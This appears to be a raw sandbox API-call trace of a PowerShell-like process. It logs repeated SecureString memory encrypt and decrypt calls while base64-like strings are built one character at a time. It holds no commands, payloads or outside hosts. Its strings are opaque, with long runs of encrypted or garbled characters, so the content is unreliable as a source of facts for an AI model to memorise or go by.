(param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\x8593\x99\xe0dd\x4d12\x1881\x2be9\xd66f\x7da1") returned 0x20 [0133.738] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.738] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6W鍿槓릞쥘") returned 0x20 [0133.738] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.738] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\x22db\x532b\x2f9e\x99be\x55d1\x9325\xf650\xd695") returned 0x20 [0133.738] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\x22db\x532b\x2f9e\x99be\x55d1\x9325\xf650\xd695") returned 0x20 [0133.738] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.738] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wo槓릞쥘") returned 0x20 [0133.738] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.738] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xaec6\x825d\x6515\xa2cb\x81af\x5908\x7788\x7ae2") returned 0x20 [0133.738] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xaec6\x825d\x6515\xa2cb\x81af\x5908\x7788\x7ae2") returned 0x20 [0133.738] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.738] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wow槓릞쥘") returned 0x20 [0133.738] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.738] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xf6fc\xe4ca\x355a\x2538\xe099\x9add\xb4b6\x5c8a") returned 0x20 [0133.739] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xf6fc\xe4ca\x355a\x2538\xe099\x9add\xb4b6\x5c8a") returned 0x20 [0133.739] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.739] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wow7릞쥘") returned 0x20 [0133.739] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.739] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\x9af6\xcb49\x557\x2dbe\x59d3\x8dfb\xac14\x31c0") returned 0x20 [0133.739] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\x9af6\xcb49\x557\x2dbe\x59d3\x8dfb\xac14\x31c0") returned 0x20 [0133.739] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.739] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wow7+쥘") returned 0x20 [0133.739] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.739] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\x78a8\x7aac\x4352\x3f7\xec5e\x8f91\xcb13\x9a67") returned 0x20 [0133.739] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\x78a8\x7aac\x4352\x3f7\xec5e\x8f91\xcb13\x9a67") returned 0x20 [0133.739] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.739] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wow7+R") returned 0x20 [0133.739] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.739] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d") returned 0x20 [0133.739] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d") returned 0x20 [0133.739] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d") returned 0x20 [0133.739] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x75\x2d\x6c\x6a\x38\x36\x4d\x6b") returned 0x28 [0133.739] SystemFunction041 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.739] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wow7+RL뫫ആ뫷䢫鑠쑌") returned 0x28 [0133.739] SystemFunction040 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.739] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x1d5\xf050\x7589\x5644\x874a\xa506\xcdd0\xce40") returned 0x28 [0133.739] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x1d5\xf050\x7589\x5644\x874a\xa506\xcdd0\xce40") returned 0x28 [0133.739] SystemFunction041 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.739] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wow7+RL4ആ뫷䢫鑠쑌") returned 0x28 [0133.739] SystemFunction040 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.739] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x7e5b\xbbe7\xb4ff\xba9f\xb850\xcb28\x2707\x4f9c") returned 0x28 [0133.739] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x7e5b\xbbe7\xb4ff\xba9f\xb850\xcb28\x2707\x4f9c") returned 0x28 [0133.739] SystemFunction041 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.740] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wow7+RL4O뫷䢫鑠쑌") returned 0x28 [0133.740] SystemFunction040 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.740] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\xf788\xe1e4\xfa1d\xb1ce\x82c3\x14bb\x7782\x3519") returned 0x28 [0133.740] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\xf788\xe1e4\xfa1d\xb1ce\x82c3\x14bb\x7782\x3519") returned 0x28 [0133.740] SystemFunction041 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.740] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wow7+RL4O2䢫鑠쑌") returned 0x28 [0133.740] SystemFunction040 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.740] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\xd8da\x6248\x902b\x246a\xbf46\xf6d4\x74bd\xa8ef") returned 0x28 [0133.740] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\xd8da\x6248\x902b\x246a\xbf46\xf6d4\x74bd\xa8ef") returned 0x28 [0133.740] SystemFunction041 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.740] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wow7+RL4O2b鑠쑌") returned 0x28 [0133.740] SystemFunction040 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.741] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x85e0\xbc4d\xcbef\x3a98\x6ce6\x91ce\x34e6\x545a") returned 0x28 [0133.741] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x85e0\xbc4d\xcbef\x3a98\x6ce6\x91ce\x34e6\x545a") returned 0x28 [0133.741] SystemFunction041 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.741] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wow7+RL4O2be鑠쑌") returned 0x28 [0133.741] SystemFunction040 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.741] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\xa5ce\x6110\xb87f\x5aea\xc2bf\xc9d4\xac93\x595c") returned 0x28 [0133.741] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\xa5ce\x6110\xb87f\x5aea\xc2bf\xc9d4\xac93\x595c") returned 0x28 [0133.741] SystemFunction041 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.741] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wow7+RL4O2bek쑌") returned 0x28 [0133.741] SystemFunction040 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.741] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\xb4b7\xe652\xb002\x4096\x868b\xff\xa783\xf5ed") returned 0x28 [0133.741] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\xb4b7\xe652\xb002\x4096\x868b\xff\xa783\xf5ed") returned 0x28 [0133.741] SystemFunction041 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.741] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wow7+RL4O2bekz") returned 0x28 [0133.741] SystemFunction040 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.741] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x5d6d\xbd74\xf1ad\x35b0\x5e72\x2c95\x3bdc\x5454") returned 0x28 [0133.741] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x5d6d\xbd74\xf1ad\x35b0\x5e72\x2c95\x3bdc\x5454") returned 0x28 [0133.741] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x5d6d\xbd74\xf1ad\x35b0\x5e72\x2c95\x3bdc\x5454") returned 0x28 [0133.741] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x5d6d\xbd74\xf1ad\x35b0\x5e72\x2c95\x3bdc\x5454\x52\x54\x35\x7a\x78\x32\x75\x42") returned 0x30 [0133.741] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0133.741] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wow7+RL4O2bekz/෵톷덐㣩") returned 0x30 [0133.741] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0133.741] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x5d6d\xbd74\xf1ad\x35b0\x5e72\x2c95\x3bdc\x5454\xaa7e\xb57d\x6ab\xc052\xf996\x7b36\x56a3\x608e") returned 0x30 [0133.741] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x5d6d\xbd74\xf1ad\x35b0\x5e72\x2c95\x3bdc\x5454\xaa7e\xb57d\x6ab\xc052\xf996\x7b36\x56a3\x608e") returned 0x30 [0133.741] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0133.741] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wow7+RL4O2bekz/u෵톷덐㣩") returned 0x30 [0133.741] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0133.741] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x5d6d\xbd74\xf1ad\x35b0\x5e72\x2c95\x3bdc\x5454\xfdfe\xd9e7\x1316\xcd90\x6f15\x8c6d\xab36\x8717") returned 0x30 [0133.741] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x5d6d\xbd74\xf1ad\x35b0\x5e72\x2c95\x3bdc\x5454\xfdfe\xd9e7\x1316\xcd90\x6f15\x8c6d\xab36\x8717") returned 0x30 [0133.742] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0133.742] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wow7+RL4O2bekz/uk෵톷덐㣩") returned 0x30 [0133.742] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0133.742] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x5d6d\xbd74\xf1ad\x35b0\x5e72\x2c95\x3bdc\x5454\xb175\x2829\x92d3\x922b\x6ef\xa783\xf39f\xf597") returned 0x30 [0133.742] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xff3b\xf440\xfad3\xf297\x65b0\x341d\x25fc\x8d4d\x5d6d\xbd74\xf1ad\x35b0\x5e72\x2c95\x3bdc\x5454\xb175\x2829\x92d3\x922b\x6ef\xa783\xf39f\xf597") returned 0x30 [0133.742] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0133.742] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6Wow7+RL4O2bekz/uk=෵톷덐㣩") returned 0x30 [0133.742] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0133.742] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.742] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.742] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0133.742] SysStringLen (param_1="") returned 0x8 [0133.742] SysStringLen (param_1="Y") returned 0x8 [0133.742] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.742] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.742] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.742] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.742] SysStringLen (param_1="YW") returned 0x8 [0133.742] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.742] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.742] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.742] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.743] SysStringLen (param_1="YWM") returned 0x8 [0133.743] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.743] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.743] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.743] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.743] SysStringLen (param_1="YWM1") returned 0x8 [0133.743] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.743] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.743] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.743] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.743] SysStringLen (param_1="YWM1O") returned 0x8 [0133.743] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.743] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.743] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.743] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.743] SysStringLen (param_1="YWM1OT") returned 0x8 [0133.743] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.743] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.743] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.743] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.743] SysStringLen (param_1="YWM1OTE") returned 0x8 [0133.743] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.743] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.743] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.743] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.743] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0133.743] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.743] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.743] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.743] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.743] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0133.743] 